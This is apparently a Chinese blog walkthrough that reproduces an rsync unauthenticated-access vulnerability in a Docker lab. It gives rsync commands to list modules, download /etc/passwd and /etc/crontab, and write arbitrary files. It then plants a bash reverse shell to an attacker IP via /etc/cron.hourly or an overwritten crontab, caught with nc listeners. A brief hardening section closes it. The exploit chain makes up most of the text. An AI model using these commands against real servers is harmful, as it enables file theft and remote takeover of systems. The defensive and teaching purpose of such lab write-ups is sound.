遵纪守法
任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益
Rsync未授权访问漏洞
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
环境搭建
docker pull vulfocus/rsync-common:latest
docker run -d -p 873:873 378d5c66daec(容器ID)
图片.png
nmap -p 873 --script rsync-list-modules 192.168.52.132
复现
环境启动后,我们用rsync命令访问
rsync rsync://192.168.52.132:873/src/
图片.png
如上图,有一个src模块,我们再列出这个模块下的文件:
rsync rsync://192.168.52.132:873/src/
图片.png
任意文件下载
这是一个Linux根目录,我们可以下载任意文件
#比如下载 passwd文件
rsync -av rsync://192.168.52.132:873/src/etc/passwd ./
或者
rsync -av ip::src/路径
任意文件写入
写入 ceshi.txt 文件到 src 目录
rsync -av ceshi.txt rsync://192.168.52.132:873/src/ceshi.txt
//rsync -av 文件路径 rsync://ip:873/目标系统文件路径
利用任意文件写入、下载功能来 getshell
首先下载crontab配置文件查看一下
rsync -av rsync://192.168.52.132:873/src/etc/crontab ./
图片.png
该环境crontab中
17 * * * * root cd / && run-parts --report /etc/cron.hourly
#表示每小时的第17分钟执行一次 run-parts --report /etc/cron.hourly
本地创建shell文件
touch shell.sh #创建shell文件
shell内容:
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.52.137/8888 0>&1
赋予 shell 文件执行权限:
chmod 777 shell.sh
将shell上传至/etc/cron.hourly
rsync -av shell.sh rsync://192.168.52.132:873/src/etc/cron.hourly
接下来,kali本地监听8888端口
nc -nvlp 8888
因为每小时第十七分钟运行我们上传的bash脚本,所以反弹shell需要等待
第二种方法
将反弹shell文件上传到攻击者目录下
rsync -av fantan.sh rsync://192.168.52.132:873/src/tmp/fantan.sh
下载对方定时任务文件crontab
rsync -av rsync://192.168.52.132:873/src/etc/crontab ./
编辑crontab文件并保存退出(每隔1分钟运行一次脚本)
*/1 * * * * root bash /tmp/fantan.sh
反弹shell的攻击者监听端口
nc -lvvp 1234
将crontab文件上传到目标服务器:
rsync -av crontab rsync://192.168.52.132:873/src/etc/crontab
修复建议
更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:
访问控制;设置host allow,限制允许访问主机的IP。
权限控制;设置read only,将模块设置成只读。
访问认证;设置auth、secrets,认证成功才能调用服务。
模块隐藏;设置list,将模块隐藏。
网友评论